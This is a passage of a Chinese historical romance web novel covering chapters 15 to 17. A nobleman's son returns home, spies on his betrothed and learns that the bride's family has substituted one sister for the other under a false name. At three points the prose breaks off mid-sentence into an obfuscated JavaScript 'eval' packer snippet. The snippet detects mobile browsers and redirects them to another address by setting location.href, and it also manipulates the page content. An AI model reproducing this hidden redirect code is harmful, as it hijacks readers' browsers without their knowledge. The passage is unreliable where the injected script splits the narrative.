又舍不下柔弱无依傍的红颜。说罢,他强忍心痛、跑出了清风阁。 宋清欢“噌”地一下站了起来,看着苏明锦没有一丝犹豫地离开,她终于忍无可忍,两行清泪“嗒嗒”地滴在了襟袖之上。 小舟见苏明锦出了清风阁,顿时觉得莫名其妙。“姑娘,姑爷他这是怎么了?”绿珠则是拉了拉小舟的衣服,示意她不要多言,小舟顿时明白了发生了什么。 宋清欢见两人进来,转过头,赶紧拭去了眼角的泪水。“不碍事的,我、我落得个清净。” 小舟忿忿不平,“为了个风尘女子,姑爷竟不顾惜姑娘的心,真真是狼心狗肺!” 绿珠倒是知趣,她对着小舟摇了摇头,又好言宽慰宋清欢,“夫人,李娘子没有身份,去不得家宴,再加上她又有数月身孕,二公子走了这么久,肯定是记挂着的。夫人,我给您铺好床,就早点歇了吧。” 宋清欢不想多言,她在绿珠和小舟面前,总还是端着几分当家主母的度量和尊严。而到如今这地步,她还能维持住那个知书达理、宽容大度的二夫人形象吗?她强撑着,却也有撑不住的那一日。 清晖轩,夜重霜寒,一个黑影闪过窗边,四下望了望,悄然闪进了屋内。 “是青竹啊,那边什么动静?”苏明轩今夜未宿在轩内,只留了李婉柔一人。 青竹解下披在外面的衣帽,低声对李婉柔说:“果然如夫人所料,二公子片刻停留后就去了杏雨斋。” 李婉柔不屑地一笑,“哼,都不中用……” 月儿弯弯照九州,几处欢乐几处愁。清风阁和清晖轩的女主人,独坐卧房,各怀心事,整个府中,也只有那里还有几分期待和欢笑吧。 杏雨斋的烛火红彤彤的,因为李意如怕黑,所以丫头们总会多燃几只,也显得暖和亮堂。 “姑娘、姑娘!快瞧瞧谁来了!”小蛮从外头飞奔回来,上气不接下气地喘着。 “难不成?”李意如心头一颤,渴盼的双眼望向小蛮、又望向门外。小蛮激动地点点头,李意如顿时喜上眉梢,一下子从榻上起了身,摇摇晃晃地向屋外走去。 “小心脚下!”就在李意如脚下一歪的刹那,赶来的苏明锦一把抱住了柔弱不堪的她。 “明锦!”李意如不禁潸然,“昔时横波目,今为流泪泉”,用来形容此时的李意如,再合适不过了。 “快回屋里,小心受凉。”苏明锦忙擦了擦李意如湿润的眼角,搀扶着她进了卧房,“快坐下,许久不见,怎么清瘦了呢?身体可吃得消?夜里睡得好不好?” 一连串的问题让李意如不知从何答起。叶儿在旁边说了一句“李娘子有孕辛苦,常常寝食难安,还问郎中抓了不少药,还……” 小蛮从旁将叶儿拦下,低声道:“你去小厨房看着姑娘的药,好了趁热端过来!”叶儿才知失言,瞥见了李意如阴沉的脸,吓得赶紧退了出去。 “啊,没什么,有孕女子不都是这样吗?只是些安胎进补的汤药,明锦,放宽心便是了。”李意如解释道。 一双璧人相偎床边,互相倾诉着许久不见的相思之苦。李意如从枕下拿出苏明锦临行前送与她的香囊,递到了苏明锦的手上。她沉浸在苏明锦对她的绝对偏爱中,绝口不提、也不会说什么感激他丢下夫人却来陪她的蠢话,这种浓情蜜意的时刻,不宜出现第三个人的名字。 15. 十五、清洛归来作晓寒 彼时的伯爵府,乱成了一锅粥。顾清洛又跑了! 伯爵府独子,顾清洛,自小便不受顾伯爷管束,对于仕途经济、官场人情疏懒得很。平生好游名山大川,也曾书生意气,仗剑行天涯。这次听说朝廷派兵去征讨方腊,顾清洛一时间男儿血性,不顾父母反对,硬是隐藏身份,跟着苏瑷率领的军队走了。顾清洛在军中行事低调,和将士们同吃同住,所以,这么长的时间,苏瑷父子以及军中的其他将领都没有发觉他。 顾清洛平时甚少关注朝廷之事,自以为是方腊等人蛊惑百姓、用兵造反。可在军中待了这么久,又听得同伴们抱怨着:上面的人敛物收财,逼得百姓起义,可这拼命的事却丢给了他们。顾清洛这才细细思量其中的关窍,他不愿在军中久留,但京中的家也是让他“敬而远之”。这次偷偷随军离京,一方面是因为不喜欢文官的那一套仕途经济,向往男儿热血、建功立业;另一方面,顾清洛实在是不满意家中给他说定的那门亲事。好巧不巧的,眼看胜利在即,朝廷传来召回令,让苏瑷父子回京,而董中则顺势接过“重任”,带着自己的亲信奉旨前往嘉兴。这样一来,顾清洛更不愿在军中待着了,他虽不在庙堂之上,但也知苏瑷心胸磊落,这董中嘛,可是“有口皆碑”,三十六计走为上策,是时候离开了! “小郎君,咱们又要去哪儿啊?”参横再一次陷入无奈、小声嘟囔。 参横是顾清洛十岁时从人贩子手中买下来的,当时的参横瘦得都快皮包骨了,小小的一个,缩在其他人的脚边。顾清洛正骑马回城,恰好马受了惊,一声马嘶,惊得他赶紧勒紧缰绳。那个缩成一团的男孩儿也被吓了一跳,顿时抬起了头。 四目相对,顾清洛为眼前这个衣不蔽体、瘦弱不堪的男孩停住了目光,他从未如此直视过人间的疾苦,从小长于贵胄之家的他,第一次生出些“悲悯”的情愫。 “你多大?” “十五。” “比我大五岁?真看不出来,又瘦又小的……以后你就跟着我吧。” “……” 男孩茫然地看着顾清洛,没有欢喜,因为他也不确定,接下的日子是不是还那样。 “我的小郎君啊,您有没有听我说话哦,马上就到除夕了,哪有过年不回家的道理?……可不敢继续瞎跑了,老夫人会打死我的……” 顾清洛这才回过神来,看了一眼碎碎念的参横,“你莫不是忘了,我的婚期在年后?” “呃……不然您就从了吧。门当户对,有什么不好?”参横刚说完,就迎上了顾清洛似要将他千刀万剐的眼神,急忙转圜地补了句,“那、那先过完年,过了初一再说?” 顾清洛没有说话,是啊,过年不回家,那整个伯爵府,怕是要炸开锅吧! “好吧,那咱们先回家,等过了初一,再找个月黑风高的夜,跑出去!” “又来?!一听到‘月黑风高’这四个字,我心肝颤啊!” 这也难为参横了,从小到大,顾清洛就不是个“安分守己”的主,每每趁着天黑,不是从狗洞子钻出去,就是从院墙上翻下来,顾夫人气地直跺脚,收拾不了顾清洛就把牢骚蔓延到参横那里。 “‘月没参横,北斗阑干’,你应该喜欢黑夜才是!怎么还颤上了?” “您起的好名字!夫人可说过,您再半夜往出跑就给我改名!” “难不成叫你‘白昼’?哈哈哈哈……” “哎呀,又打趣我!等娶了美娘子啊,看您怎么跑!” 一提到娶亲,顾清洛又黯然了。自己读书却不科举、习武却不入军营,这些父亲都容忍了,可与宋家的这门婚事,怕是难推脱。顾家虽有爵位,但族中人丁凋零,在朝中的威望日渐式微,宋家文官出身,又有着姻亲李氏的帮衬,虽谈不上权势多重,毕竟是清流人家,家庭成分简单,只有两位嫡女,一位嫁与枢密院供职的苏家,另一位与他年纪相当,恰好待字闺中。 “宋清欢……”顾清洛喃喃自语,她是个什么样的人呢?一个活生生的、有自己意识的人,会心甘情愿地、听从父母的安排,和一个完全陌生的人硬凑成一双吗?该如何一起度过几十年的余生? “听说是位俊秀的姑娘,家里从小就请着先生教读书认字,不会差的,再说了,夫人的眼光不会错。” 参横见顾清洛没有反应,又继续自顾自地嘟囔,“咱们这种官宦人家,哪一家不是父母之命媒妁之言?就连官家选皇后,也不是自己能说了算的,更何况底下的人……” 依旧是没有回应,参横抬起头,慢慢凑近顾清洛,郑重其事地拍拍他的肩膀,一副装深沉的腔调,“哎呀,没事啦!大不了我偷偷去爬宋家的院墙,看看咱们未来的少夫人,这我是最擅长的!” “少来!”顾清洛推开参横的手,狠狠地瞪了他一眼!随后又颇有意味地一笑,“别说,你这倒是启发了我。哈哈,我自有安排!” 尘烟四起,二人扬鞭而去、踏碎一片寒气。 除夕将至的汴京城早早地、便被那渐浓的年味儿勾了去,抛却了平日的矜持,直化作一片欢腾、拥挤、香气四溢的人间胜境。还没到最繁华的州桥、龙津桥,那混杂着男女老少的声浪便扑面而来:各色铺子的吆喝声此起彼伏——“请门神、挂钟馗”、“馎饦、炒栗子、炙羊肉”,清亮粗犷,不由引人驻足其中;车马轮毂碾过青石板路的“辚辚咕咕”声,驮货骆驼颈的“叮叮当当”声,于天地间交织在一起回荡,恍惚间,竟觉得比宫中乐师精心演奏的雅乐还要动听百倍。在这充满市井气息的街坊之间,又时不时夹杂着孩童相互追闹的嬉笑声,让人久久陶醉在独属于他们天真无邪的美好年纪中。 “还是京中热闹,军营待那么久,都不知道什么是人间烟火了!”参横牵着马,被各色新奇的玩意、小吃吸引,应接不暇。 “这人间烟火,还不是军中的将士们风餐露宿、拿刀剑守下来的。”顾清洛微笑着,似是沉浸在这盛世繁华之中。别看他平日里放浪形骸、散漫可恶,但一到家国百姓,他还是悲怆而敏锐的。 参横点了点头,若有所思,便不再多说什么了。 穿过繁华的街巷,没多久便到了伯爵府大门口。顾清洛停下脚步,直愣地看着朱红的大门。他的心,犹如门外那高高悬起的琉璃宫灯,随着寒风飘摇欲坠。 “小郎君!真的是你啊,哎呀呀,站着干嘛,快进府啊。”不等他回过神,出去采办的张管家惊喜地发现了他。 “张伯,身子骨可好?” “好、好,倒是您越发的清瘦了。”张伯说罢,又看向参横,气呼呼说道:“臭小子,你倒是又长肉了!又没有好好照看小郎君!” 参横气的嘴巴都歪了,“什么叫‘又’啊,我瘦的都快皮包骨了,张伯你就不心疼心疼我,整天被小郎君拐带出去!” “伯爷和夫人可都在家呢,看你再怎么油嘴滑舌!” 一听到“伯爷”二字,顾清洛和参横立马冷汗一身、汗毛直耸。参横扔下一句“我帮张伯干活,不陪您去拜见伯爷了。”说完撒腿就跑远了。 顾清洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376777|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相当无语,只好一个人硬着头皮去了父亲的书房。 伯爵府的书房极大,四面皆是满墙的书架,密密麻麻塞满了各式书籍。靠东的一面放了一张木榻,榻上小几摆着一套汝窑的茶具,这是顾伯爷阅卷疲惫时,供其小憩歇息的。紫檀木书桌临窗摆放,案上的香炉吐着若有若无的青烟,一方端砚墨迹未干,空气里浮着淡淡的墨香和檀香。窗外一株老梅的枝影在阳光的照耀下映在窗纸上,疏落、摇曳。 顾清洛在书房门口深深地吸了一口气,整理好衣衫,轻轻地推开了门。 “吱嘎——” 门开了,一阵风也趁着缝隙溜进了室内,掀起了书桌上的几张宣纸。顾伯爷抬眼一瞧,搁下狼毫笔,舒了一口气,身子向后靠在黄花梨圈椅中,又闭上了眼,伸出左手揉了揉眉心。 “父亲,我回来了。” “嗯。” “……” “没话说就去见见你母亲,你出去的这些时日,她整日忧虑,身体越发不中用了。” “让二老担心了,父亲先忙,我这就拜见母亲!” 顾伯爷在心里早已将这混账儿子骂了千遍万遍,而今婚期在即,好歹是回来了,他迫切地盼望着顾清洛婚后有人管束着,能够收敛些性子。这个关键时期,可千万不能骂,说不好这小子一急眼又跑了,顾家交不出新郎,那才是把脸丢到家了。 顾清洛轻轻关上书房门,长嘘一口气,还好还好,这一关算是顺利过去了。 还没到内院门口,就听到了顾夫人大骂参横的声音。顾清洛心里叫苦,参横啊参横,你再多顶一会,希望母亲骂累了就不再迁怒自己。不对啊,明明是牵累了参横,哎呀,不管了,谁让他撇下自己跑了。 绕过院门口的两株腊梅,顾清洛悻悻地走到参横跪着的地方,一声不吭的、也扑通一下,跪在了参横的旁边。 “你还有脸回来!你把整个伯爵府的脸面都丢尽了!”顾夫人气急败坏,指着顾清洛,身子止不住地颤抖。一旁的刘嬷嬷赶紧上前扶住她。 “母亲,儿子知错了!”顾清洛伏在地上,没有母亲的允许,他是不能起身的。可母亲却没有一点让他起来的意思,他偷偷抬眼,母亲满脸愠色、看向一旁,反倒是一旁的刘嬷嬷意味深长地给顾清洛使了个眼色。 顾清洛灵光一闪,顿时接收到了刘嬷嬷的“信号”。只见他不声不响地爬到顾夫人的脚边,双手扯着她的裙角,又极其忏悔、满腹委屈,拉着长音、捏着嗓子哭丧道:“母亲、娘~~我这不回来陪二老过年了嘛!哎呀,外面这地好凉啊,跪的腿都疼了。出去这么久,跟着军营,风餐露宿的,您摸摸看,这脸都饿瘦了。”说罢,他拉着顾夫人的手就放在了自己脸上摸。 参横跪在一旁,听着这一番倒胃口的话,直翻白眼。对于顾清洛这种耍赖模式早已见怪不怪了,但要说最“恶心”,这还是头一次。 顾夫人虽是板着脸,却也没有撒开手,可实在是架不住顾清洛这么拉扯,“你再晃,我这一把老骨头就要散架了!” 顾夫人一开口,顾清洛就知道有戏了。“母亲,您就好好疼疼儿子吧。” 面对顾清洛的“撒泼”,顾夫人是次次没招。“好啦好啦,起来吧!”顾夫人又瞅了一眼参横,“你也起来吧,以后再由着他闹,仔细你的皮!” 参横暗自叫苦,他一个仆人,哪里做的了顾清洛的主!趁着顾夫人没注意,他狠狠地瞪了顾清洛一眼,顾清洛只是对着他坏笑。 回府的危机,就这样悄然度过了。 16. 十六、顾清洛的计谋 顾夫人为宋家备下丰厚的拜礼,需在除夕前送过去。本打算让顾清洛亲自跑一趟,可毕竟婚期将至,这未婚外男贸然进府也不大方便,于是便吩咐参横去办这个差事。再怎么说,伯爵府的门第还是比宋家高。 顾清洛灵光一乍,嘴角微扬,心生一计。 参横带着一行人,到了宋府大门口,只带了二人随他进府,在对方的带领下,他们绕过长长的穿花画廊,走向后厅去给宋夫人呈上礼单。 跟在最后的一个小厮,一路上东张西望、鬼鬼祟祟,趁着旁人不注意,一个闪身溜走了。顺着廊子,他拐进了后园,“这应该是内院了吧,看着像小娘子们赏玩的小花园,虽不大,景致倒不错。” 他小心翼翼地躲在雕花廊柱边,缓缓地往前一步、再绕一步。忽听得不远处有小娘子的嬉笑声。他蹑手蹑脚地往前凑了凑,抱在一根柱子后边,探头探脑。只见四五个衣着鲜艳的年轻娘子围在一起。仔细看了一会才明白,原来她们在玩翻花绳。其中一位绿衣女子用手指编挑成一个花样,另一位紫衣女子则用手指接过去,翻成另一个花样,时不时地拍手叫好。最为高兴的,当属中间那个粉衣女子,他眯着眼睛使劲地看,粉色的身影,眉眼如画、笑意盈盈…… “那位粉衣女子会不会是宋清欢呢?”他嘟囔着,又看了一会,“我何不上前去问一问呢。对,就这么办!” “打扰众位娘子了!”他轻轻弯腰作揖。 “哎呀,你是谁啊?怎么跑到后园来了?”紫衣女子显然是受了惊吓。 “姐姐们勿怪,我是伯爵府的,今天来送新年拜礼,帮忙搬完东西,本打算去门口候着,一不小心迷了路,这才惊扰了姐姐们。” “原来是伯爵府的,你们家公子可来府上了?”红衣女子笑着问。 “我家小郎君昨日才回府,受了些风寒,在家中养着呢。” “你家小郎君长得也如你这般俊秀吗?”绿衣女子忍不住打趣。 也难怪这些小娘子们调笑,这个“小厮”虽一身奴仆衣服,却是难掩俊朗的面容。众人一听绿衣女子的说笑,都细细地打量起了他,有美男子谁不爱看?哪里还顾忌什么男女有别。 他倒是一点也不羞怯,乐呵呵回应道:“我家小郎君一表人才,文能秀口吐文章,武能上马安天下!” 众女子听罢,皆拍手欢呼,不见其人却想入非非。 “再说了,我们小郎君要是不好,怎么敢来宋府提亲啊!” 众女子点头称是,粉衣女子附和道:“这话是了,我们姑娘貌比天仙、兰心蕙质,哈哈,果然是一对璧人!” 听粉衣女子如此说,可见宋家姑娘并不在此,他试探道:“听姐姐们说的,我真想一睹芳颜!不知你家姑娘可在府中?” “我家姑娘去大相国寺逛啦!”绿衣女子心直口快。 紫衣女子拉了一把绿衣女子,眉毛一挑,骄傲地说:“等姑娘过门了,还愁见不上?” “那是自然、那是自然!啊,时候不早了,我得出府,不然要被骂的,好姐姐,给我指条路吧!” 参横在府门口不远处左右打转,看见他出来赶紧迎上去。这“小厮”径直上了马车,吩咐参横离开这里。参横亦知这里人多眼杂,就拐进了一处僻静的巷子。 一只清白瘦削的手掀开帘子,车内人已然从清秀“小厮”变成了俊朗公子。 “参横,备马,随我去个地方!” 一骑绝尘,二人身影消失在远方的雾气之中。 除夕前的几日,正是汴京城最热闹的时候。每逢年关,家家户户、男女老少,都涌到南御街购买年货,而大相国寺更是人们的首选。 积雪被扫至路旁,露出湿润的青石板,旋即又被纷至沓来的脚步履痕所覆盖。朱红的寺墙内外,俨然是两个世界,墙内是庄严肃穆的修道场,墙外则是人声鼎沸的烟火人间。还未踏入三门,一股霸道而浓烈的“年味儿”便扑面而来:香烛的清冷、果子的甜腻、春联的墨香…… 顾清洛绕过那琳琅满目的年节用物,也没有被饮食区的香气所诱惑,寻着稀奇的小玩物凑了过去,这些东西,向来是姑娘们的最爱。 宋家的二姑娘宋意欢,在两个穿着体面的侍女的相伴之下,随着人流缓缓前行。两个沉稳的嬷嬷和一名男仆在前悄无声息地分开人流,才得以在这摩肩接踵的人潮中,确保几人不会走散。 “姑娘您瞧,那芙蓉灯真精巧!”贴身侍女红药指着不远处一个灯笼摊子,低声惊呼。 宋意欢顺着红药的手望过去,只见那摊子上挂满了各色应景的灯,琉璃的、绢纱的、羊角的,她抿嘴一笑,轻轻摇头:“看看便好,这个虽精巧,终究是过于花哨了些。” 宋意欢走着、看着,那海外香药、犀角象牙、用彩绢、通草制成的像生花,有牡丹、芍药、梅花、迎春、玉兰、海棠,竟做得比真花还要娇艳几分。宋意欢看得欢喜,精心挑了一枝“红梅”,斜插在斗篷的襟扣上,那一点红晕,在她雪白的斗篷上格外醒目。 “姑娘,该去请‘岁灯’和‘苍术’了。”其中一位嬷嬷回过头轻声提醒。 请“岁灯”和“苍术”是除夕前特有的习俗,寺庙在除夕前会制作大量的“岁灯”或“平安灯”,供信众“请”回。而大相国寺就是东京汴梁城中“请岁灯”最负盛名的场所之一。苍术是一种中药材,点燃后会散发出独特的香气,古人认为这种香气可以辟瘟气、祛湿邪、杀虫。因此,完整的“请岁灯”习俗,往往还包括购买苍术。人们在除夕夜,会同时点燃岁灯和苍术,让灯光驱邪,让药香洁净空气、预防疾病。这已不仅是一种习俗,更是人们心中美好的信仰。 宋意欢点了点头,恋恋不舍地将目光从摊位上的海外香药、犀角象牙、彩绢扇面中收了回来,往寺内香火弥漫处行去。 信众如云,梵唱隐隐。 “小郎君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376778|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您看那边,好多人在祈福、请岁灯,咱们也拜拜去!” 顾清洛二人穿过人流,涌向了寺中的香火之处。大殿里面倒是清净了许多,不像外面的集市,鱼龙混杂。顾清洛漫无目的地左顾右盼、心不在焉,参横知他心中所想,便劝慰道:“主意不错,可哪有那么巧。这么多人,就准准地遇见了呢?” 顾清洛不言语,出来晃悠一圈,现在突然觉得自己的这个“完美计划”太荒唐了。 正殿,佛像慈悲肃穆,顾清洛看着人们虔诚地跪拜,不由感慨。这寺里的神佛,年年岁岁,寄托着多少人的殷殷祈愿和切切心事啊。一转头,看参横早已跪在佛前,虔诚地念叨着他也听不清的心愿。顾清洛默默地走到佛前,也向其他人一样,双手合十,颔首低眉,祈求什么呢?眼下他最想求的,无非是这桩令他惆怅的婚事怎样作罢。倘若不能呢?那就、祈求自己未曾谋面的新娘知书达理、心意相合。如果不是呢,那该求些什么?可是,求与不求,宋家姑娘的模样人品都是不可改变的,如此看来,求佛何用? “姑娘,殿外面有苍术卖,拜完了佛咱们赶紧去吧,不然都被抢没了。” 顾清洛的思绪忽然被打断,眼神不自觉得向着殿边说话人处看去。 她正立在殿边一处角落的窗下,微微仰头看着殿内的佛像。身旁跟着一个小丫鬟,一个仆妇。一袭浅碧色的罗裙,裹在纯白色的狐裘大氅里,极清淡雅致。她看得专注,眼神澄澈而宁静,像一泓不曾被风扰动的秋水。阳光透过窗隙,映照在她的发丝之上,又调皮地跳到她皎白的脸颊。 顾清洛望得出神,只见殿中僧人走至女子的身边,慢声说道:“这是施主请的岁灯,还请施主替贫僧向宋夫人问好!” 那女子微微一笑,梨涡清浅,接过东西,点了点头。正恍惚间,婀娜的背影消失在门后的光晕之中。 “宋……难道是她?”顾清洛望着、念着。 参横见此情状,忙跑至僧人的跟前,先是双手合十行了个礼,就忙不迭地问道:“大师,刚刚出去的那位是哪家娘子呀?” 僧人回了礼,说道:“京中还有哪个宋家,自然是宋时宋大人家的千金。” 参横转头看向顾清洛,笑着挤了挤眼睛。宋时……宋清欢……是她!顾清洛全身如触电一般,怔怔地杵在那里一动不动,跑路的想法霎时被击得粉碎,似乎从心里生出了一点迟疑、一丝怯懦、一方安稳。 参横笑着又跑了过来,气喘吁吁地说:“我就说嘛,宋家姑娘不会差的!小郎君这会儿放心了?您就等着洞房花烛吧。” 顾清洛抿嘴一笑,参横指着他的脸打趣道:“哟,小郎君平日里那么厚的脸皮,居然像小娘子一样羞红了!哈哈哈哈……” “嘘!”顾清洛忙捂住了参横的嘴,“大殿之内切勿喧闹!” 还没等参横反应过来,殿外面突然吵嚷起来。二人不明所以,循着争吵声走出了大殿。 17. 十七、窥玉墙东 “那不是宋姑娘身边的婢女吗?”参横仔细瞧了瞧,喃喃自语。 顾清洛定睛一看,可不就是,这个小姑娘正横眉冷对、双手叉腰.旁边的仆妇亦是如此,一副要把对方吞了的架势.宋家姑娘就站在她们身后,虽未言语,但满脸写着不高兴。 顾清洛以为她们受了欺负,刚要挺身而出,却被参横一把拉住,“小郎君莫急,先看看再说。” “你这娘子好生蛮横,明明是我先来挑选的,你却要抢,不懂得先来后到吗?”说话的是一位俊秀的小娘子,穿戴朴素,未施粉黛,她一着急,脸都红了,气势上却不愿退让。 顾清洛凑近了些,以便能更好地观察事态的发展。看一会儿就明白了,原来是因为仅剩的一份药材。这苍术、芸香等药材,是除夕夜用来在房中焚烧,“辟瘟气、祈吉祥”的,大家争相购买,无非是为了讨个吉利。 “真是笑话,‘挑选’半天却不见掏钱购买,要是没钱就别出来丢人!”宋姑娘身边的小婢女不甘示弱,句句呛人。 卖药材的大娘显得有些无奈,“姑娘,这药材就只剩一份了,您稍等下,半炷香工夫,补的货就会送过来。” 虽然等待时间不长,但那位俊秀的女娘并不满意,依旧不肯退让。她旁边的老伯扯了扯她的衣襟,陪笑道:“既然这位娘子先付了钱,我们就不争了。” “爹!”俊秀娘子埋怨了一声,气得扭过头。 卖药材的大娘装好了最后一份苍术,递给旁边得意洋洋的小婢女,又恭敬地对着宋姑娘拜道:“祝宋家娘子阖府康泰!” 宋家姑娘并未搭话,出来半日,请了专为除夕夜点的“岁灯”,又买了几大包苍术,觉着有些腿酸,鼻尖也微微冒了汗。她抬头瞥了一眼对方,只轻轻说了句,“回吧,出来太久,我也乏了。”声音里带着一丝满足的倦意。 “难怪那么刁钻,原来是‘高门大户’的千金,我们平头百姓真真是惹不起!”那小女娘伶牙俐齿,对权贵全无一丝惧怕。老伯反倒是被吓得一脸煞白,捂住了闺女的嘴。 小婢女可容不得对方在语言上占尽优势,立马回嘴道:“没错,我们家姑娘就是贵府千金,京中伯爵府公子未过门的新妇,你们如何比得!”对方不再说话了,一阵沉默…… 风过,宋家姑娘裹紧了她的披风,风帽边缘那圈软软的银狐细毛随风轻抖,划过她的侧脸,愈发莹白如玉。也许是冷了,她转身即走,嘴角又挤出轻蔑的一笑。这一笑,不易让人察觉,却惊了顾清洛的心。未过门的妻子在这场闹剧中虽一言不发,但贴身婢女这番“振聋发聩”的言辞、尖酸刻薄的做派,必是得自家姑娘的“真传”。 等宋家的人走后,老伯才叹息道:“你啊你,何苦与千金贵女斗气,还好她没有为难咱们。” 小女娘一脸不服气,撇着嘴,不想与父亲理论。 恰巧,补货的伙计赶了过来,卖药材的大娘将一大包苍术、芸香递给了正在生闷气的小女娘,“女娘莫要生气,来,大娘送你一包,算是对刚才不能替你说话的补偿吧。” 小女娘和老伯连忙推让,可终是拗不过热情的大娘,只得接过药材,作揖称谢。大娘有语重心地嘱咐道:“只是还得奉劝你一句,高门大户的人,是咱们惹不起的,能躲开就躲!” 小女娘眼眶发红、若有所思,自怨自艾道:“世道如此,我却偏偏自讨苦吃,唉,不过是投了个好胎,有什么可骄横的?高门大户,总有它没落的时候!” “这位公子也要苍术吗?不好意思,让您久等了。”卖药大娘见顾清洛不声不响,在这站了许久,就以为他是等着买苍术的。 顾清洛怔在原地,看着父女俩离开的背影,心中有种酸涩的苦楚在全身蔓延。参横拿出铜板回道:“来一份吧!”参横接过东西,就拉着顾清洛离开了这个是非之地。 人声鼎沸、烟火人间,此刻,这一切仿佛都与他再无关联。两个人并排骑着马,慢悠悠地跟在宋家马车的后面,一直跟到了亲眼看着她们进了宋府的大门,才肯善罢甘休。 参横晓得顾清洛心中的落差有多大,却不好再劝些什么,只是轻声的说了句,“小郎君,咱们回去吧。” 顾清洛眉头紧锁,看着宋宅朱红色的大门,慨叹道:“这深宅大院,里面不知道藏了多少腌臜事,婢子心术不正,主子也好不到哪去。” 参横摸了摸脑袋,一脸惆怅,“可这喜帖,早就发了出去。伯爷和夫人那边……” 顾清洛眼神突然变得犀利,咬牙切齿、一字一顿地说道;“我顾清洛绝不认命!” 后厅的院子前,摆满了不知从何处送来的礼品,琳琅满目、流光溢彩。宋夫人李婷正忙着过目礼单,将这些记录在册,以便日后还礼。 “母亲,看我买回了什么?”宋意欢将岁灯和苍术在李婷眼前晃了晃。 宋夫人宠溺地一笑,嗔怪道:“都要嫁人了,还像小孩子一样顽闹,成何体统?” 宋意欢做了个鬼脸,刚要跑开,就被李婷拽住,“这些是顾家送来的,有你喜欢的上好翡翠。”宋意欢看着那些首饰,不由畅想起成亲的瞬间,霎时羞红了脸。 李婷宠溺地用手指戳了戳宋意欢的额头,打趣道:“我可得告诉你父亲一声,他的掌上明珠恨嫁了啊!”笑罢,又指着另一边,“那些是苏府送过来的。” 宋意欢上前看了几眼,回头问李婷,“母亲,这些是表姐送来的?”宋意欢早就知道李婉柔夫妇回了京,只是这段时间忙于准备婚事,也没来得及和她见面。 李婷摇了摇头,“婉柔的贺礼必是要单独给你送来的,苏家还是你那位姐姐操持着府中的事,不过,既然你表姐回来了,以后自然是长房管事。” 宋意欢轻蔑地应和道:“有表姐在,量她也出不了什么风头。”宋意欢搀扶着李婷的胳膊,边聊便往内院走去。 出了垂花门,便转到了游廊,两边的水池虽没有结冰,却是丝丝寒气,侵人肌骨。李婷紧紧握着宋意欢的手,缓缓踱步,母女二人的温情,让严寒增添了几丝暖意。 二人走到廊子边,互相依偎着坐在了阶上。就那样静静地坐着,望着天井里那棵石榴树。叶子早落光了,光秃秃的枝丫伸在灰蒙蒙的天底下,瘦骨嶙峋的,像是老了十岁。 宋清欢靠在廊柱边,身子半倚着,时不时地看看母亲,又低下头去,又看看天井里那棵秃树,想到自己快要离开父母身边,心里竟有些酸涩。 “母亲,起风了呢。”宋意欢声音很轻。 “把脸转过来。”李婷温柔地抚着她的肩膀。 宋意欢扭过脸,和李婷四目相对。木阶冰凉,隔着棉衣都觉着寒意。母亲低头看着她,目光细细的,像是要把她的眉眼、鬓角、耳垂上的小痣,一样一样都看进心里去,收好,藏起来。 “母亲。”女儿忽然叫了一声。 “母亲,我听说苏家二公子那个没名分外室怀了孕,要被纳为妾室了!没想到苏家第一个孩子竟然出身如此卑微。”宋意欢有些为李婉柔不平, “妾室的孩子,终究出身不好,可奈何他是苏家的第一个孩子,不过这孩子怎么也轮不到一个妾室来亲自抚养。” “会不会让表姐这个长媳来抚养呢?” “这可说不准,毕竟那是二房的孩子。” “那岂不是便宜了宋清欢?” 李婷伸出食指,挡在了宋意欢的嘴边,殷殷嘱咐道:“意儿,以后对于名字,你务必谨慎,毕竟,你是以她的名义嫁进伯爵府。” “可是母亲,什么时候才能堂堂正正地叫我自己真正的名字?我可不愿意一辈子叫那个‘丧门星’的名字啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376779|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一个名字而已,你是愿意顶这个名字嫁给伯爵府的独子,还是就用自己的名字,嫁给早已心有所属、宠妾灭妻的苏家二公子?” “现在的贵公子们,哪一个不是既有妻又有妾的,况且,苏家有表姐在,自然是要照应的。” 李婷拍了拍额头,瞪了她一眼,真是怒其不争。她拉着宋意欢,倚坐在廊边,谆谆教诲道:“傻丫头啊,苏二公子的小妾,那样的出身,却能让他新婚夜弃家而走,又有本事进府独宠,可见不是一般人,你未必是她的对手。而且他二人早已私定终身,你后来者如何能居上?不过是顶个虚名罢了,宋清欢不就是这样?人家好歹在府中安稳度日半载,我想,这要是换作你啊,可没有她这份韧劲。” 